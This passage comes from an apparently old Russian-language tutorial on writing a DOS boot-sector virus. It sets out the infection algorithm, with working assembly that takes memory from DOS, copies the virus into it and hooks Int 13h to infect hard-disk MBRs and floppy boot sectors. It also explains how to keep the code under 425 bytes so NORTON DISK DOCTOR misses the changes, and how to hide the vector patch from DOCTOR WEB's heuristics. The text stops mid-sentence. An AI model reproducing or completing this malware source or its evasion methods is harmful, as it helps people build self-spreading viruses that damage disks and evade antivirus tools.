Попав при начальной загрузке машины в память по
адресу 0000:7C00h, вирус должен выполнить такие
действия :
1. Установить регистры SS и SP на собственный стек
2. " Отрезать " у системы несколько килобайтов па-
мяти ( сколько именно - зависит от длины вирус-
ного кода )
3. Переписать свой код в полученную область (кста-
ти, она будет находиться в старших адресах ос-
новной памяти)
4. Передать управление следующей секции своего ко-
да, уже расположенной в конце основной памяти
Эта секция, в свою очередь, должна :
1. Переопределить вектор прерывания Int 13h на ви-
русный код
2. Считать настоящий загрузочный сектор в память
по адресу 0000:7C00h
3. Проверить, заражен - ли винчестер. Если нет, то
заразить его MBR
4. Передать управление настоящему загрузочному се-
ктору, находящемуся по адресу 0000:7C00h
Далее загрузка ОС выполняется, как обычно.
Когда система будет загружена,вирус должен занять-
ся заражением BOOT - секторов дискет. С этой целью
он выполняет такие действия :
1. При чтении секторов с номерами 2...N нулевой
дорожки нулевой стороны диска " A " проверяет
BOOT этого диска на зараженность
2. Если диск еще не инфицирован - заражает его
3. Передает управление системному обработчику Int
13h
Под заражением понимают запись вирусного кода в
BOOT - сектор дискеты или в MBR винчестера.
Понятно, что при загрузке с винчестера проверять
его на зараженность бессмысленно. И тем не менее,
наш вирус делает это, так как отключить проверку
жесткого диска не так просто, как это может пока-
заться. Кроме того, она выполняется очень быстро и
поэтому совершенно не ощущается пользователем.
На первый взгляд, приведенный алгоритм кажется до-
вольно сложным. Тем не менее, его достаточно про-
сто реализовать, в чем вы скоро убедитесь.
Хотелось бы сказать о том, какой должна быть мак-
симальная длина вирусного кода.Если мы хотим поме-
стить вирус в загрузочный сектор целиком, следует
учесть два момента.
1. Собственно программа загрузки в MBR занимает
не более, чем 446 байт ( см. ПРИЛОЖЕНИЕ 2 )
2. Программа загрузки в BOOT - секторе дискеты
имеет разный размер в разных версиях DOS. В са-
мом " предельном " случае она начинается со
смещения 0055h относительно начала сектора. Два
последних байта BOOT и MBR содержат код: 55AAh.
Если его затереть,система перестанет загружать-
ся с испорченного таким образом диска. Некото-
рые вирусы используют этот прием для приведения
дискеты или винчестера в " частично нерабочее "
состояние.
Отсюда следует очевидный вывод - размер кода виру-
са не может превышать : 200h - 55h - 02h = 1A9h =
= 425 байт! Если вы не выйдете за эту границу, об-
ращение к диску будет происходить корректно. Кроме
того,даже NORTON DISK DOCTOR не будет замечать из-
менений программы загрузки в BOOT - секторе дис-
кеты или MBR винчестера, что, согласитесь, очень
важно.
1.4 Как начинается распространение вируса
В отличие от файловых вирусов,для внедрения загру-
зочного вируса в компьютер достаточно просто по-
пробовать загрузиться с зараженной дискеты, при
этом дискета не обязательно должна быть загрузоч-
ной.В этом состоит особенность вирусов этого типа.
Итак, чтобы вирус начал распространяться, достато-
чно заразить им гибкий диск, а потом попытаться
загрузиться с него на той или иной машине.
1.5 Начало работы
Как и прежде,будем разрабатывать загрузочный вирус
в виде COM - программы. Поэтому :
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
1.6 Вирус получает управление
Как вы уже знаете,загрузочный вирус получает упра-
вление только при загрузке операционной системы.
Далее он должен " отрезать " у DOS несколько кило-
байтов памяти и переписать свой код в полученную
область. Для выполнения этих функций можно пред-
ложить такой фрагмент :
my_prg: xor ax,ax ;
mov ss,ax ;
mov sp,7bfeh ;Установка собс-
;твенного стека
push ax ;Сохраним в сте-
push bx ;ке используемые
push cx ;регистры
push dx ;
push si ;
push ds ;
push es ;
pushf ;
;
push cs ;DS = CS
pop ds ;
;
sub word ptr ds:[0413h],2 ;"Отрежем" у DOS
mov ax,ds:[0413h] ;два килобайта
mov cl,6 ;памяти и вычис-
;лим
sal ax,cl ;сегментный ад-
;рес,по которому
;находится полу-
;ченный блок
mov es,ax ;Поместим адрес
;в ES
xor si,si ;И скопируем код
mov cx,prg_lenght ;вируса длиной
prg_copy: db 8ah ;"prg_lenght" в
db 9ch ;память по адре-
additor db 00h ;су ES : 0000h
db 7ch ;Сам код при за-
mov byte ptr es:[si],bl;грузке помещае-
inc si ;тся BIOS по ад-
loop cs:prg_copy ;ресу 0000:7C00h
;
push ax ;Запишем в стек
mov ax,to_read_boot ;адрес ES:to_re-
push ax ;ad_boot и осу-
db 0cbh ;ществим переход
;на этот адрес
Поскольку операционная система к моменту начала
выполнения этого фрагмента еще не загружена, "уве-
сти" у вычислительной системы два килобайта памяти
не предсталяет никакого труда. Для этого просто
следует уменьшить на два число,расположенное в об-
ласти данных BIOS по адресу : 0000:0413h .Загрузи-
вшись, операционная система просто не будет заме-
чать занятую вирусом память. Даже такие программы,
как RELEASE или Volkov Commander ( нажмите ALT +
+ F5 ) не помогут обнаружить, где именно " притаи-
лся " вирус ( правда, это не так трудно рассчи-
тать, но для рядового " юзера " такая задача непо-
сильна ) .
Машинный код
db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;
является кодом команды :
" mov bl,byte ptr [si + 7C00h] " и модифицируется
в зависимости от того, что именно удалось заразить
вирусу - если загрузка происходит с винчестера,то
код будет иметь вид :
db 8ah ;
db 9ch ;
additor db 00h ;
db 7ch ;
а если с дискеты :
db 8ah ;
db 9ch ;
additor db 55h ;
db 7ch ;
Дело в том, что в MBR жесткого диска тело вируса
располагается по смещению 0000h от начала сектора,
а в BOOT - записи дискеты это же смещение равно
0055h ( см. п. 1.11 ).При заражении того или иного
диска вирус определяет необходимое значение поля
" additor", которое потом будет записано в загру-
зочный сектор. Команда " ret far " для краткости
записана в виде машинного кода 0CBh.
Идея установки собственного стека заимствована из
настоящей MBR жесткого диска. Если оставить стек
" как есть ", то в некоторых случаях система будет
зависать при загрузке - проверено на практике !
1.7 Защита от антивирусных программ
В настоящее время существует только одна распрост-
раненная антивирусная программа, с которой следует
считаться при разработке нового вируса . Это всем
известный DOCTOR WEB. Благодаря довольно совершен-
ному алгоритму эвристического анализа, DOCTOR WEB
способен обнаружить новый вирус не только в фай-
лах, но и в загрузочных секторах гибких и жестких
дисков компьютера. В предыдущей главе мы рассмот-
рели, как можно скрыть присутствие вирусных кодов
в файлах и оперативной памяти ЭВМ. Теперь, вероят-
но, следует рассказать, как решается задача маски-
ровки загрузочного вируса.
После нескольких дней экспериментов было установ-
лено, что при поиске неизвестных загрузочных виру-
сов DOCTOR WEB пытается определить факт перехвата
прерывания INT 13h,при этом антивирус даже не про-
бует пройти встроенным отладчиком подозрительную
BOOT или MBR. Если, по мнению программы, INT 13h
было перехвачено, выдается сообщение о возможном
наличии в вашем компьютере неизвестного загрузоч-
ного вируса. Отсюда следует очевидный вывод :
- Команду, задающую адрес в таблице векторов пре-
рываний или выполняющую модификацию вектора INT
13h, следует зашифровать, и вирус найден не бу-
дет !
Однако сделать корректный шифровщик, хорошо рабо-
тающий на любом процессоре, не так просто. Поэтому
задача была решена следующим образом :
mov si,vvv - 100h ;
mov word ptr es:[si],to_new_13h ;Установим
mov word ptr es:[si + 2],cs ;вектор Int 13h
;на вирусный об-
;работчик
;
Как это ни странно, DOCTOR WEB "не догадался", что
команда
mov si,vvv - 100h
пересылает в SI число 04Ch, имеющее прямое отноше-
ние к вектору прерывания Int 13h.
Проверка приведенного метода на практике показала
его пригодность.
1.8 Перехватываем Int 13h
Согласно описанному выше алгоритму, настало время
перехватить прерывание Int 13h.Наш вирус будет ис-
пользовать его для отслеживания операций с диске-
тами. Итак :
to_read_boot equ $ - my_prg ;
;
read_boot: push cs ;DS = CS
pop ds ;
;
xor si,si ;SI = 0
mov es,si ;ES = SI
;Получим вектор
;Int 13h и сох-
;раним его :
mov bx,word ptr es:[4ch] ;
mov word ptr old_13h - 100h,bx ;
mov bx,word ptr es:[4eh] ;
mov word ptr old_13h_2 - 100h,bx ;
;
mov si,vvv - 100h ;
mov word ptr es:[si],to_new_13h ;И установим
mov word ptr es:[si + 2],cs ;вектор Int 13h
;на вирусный об-
;работчик
;
Прерывание здесь перехватывается путем непосредст-
венной модификации вектора в таблице векторов пре-
рываний. Константа " to_read_boot " задает смеще-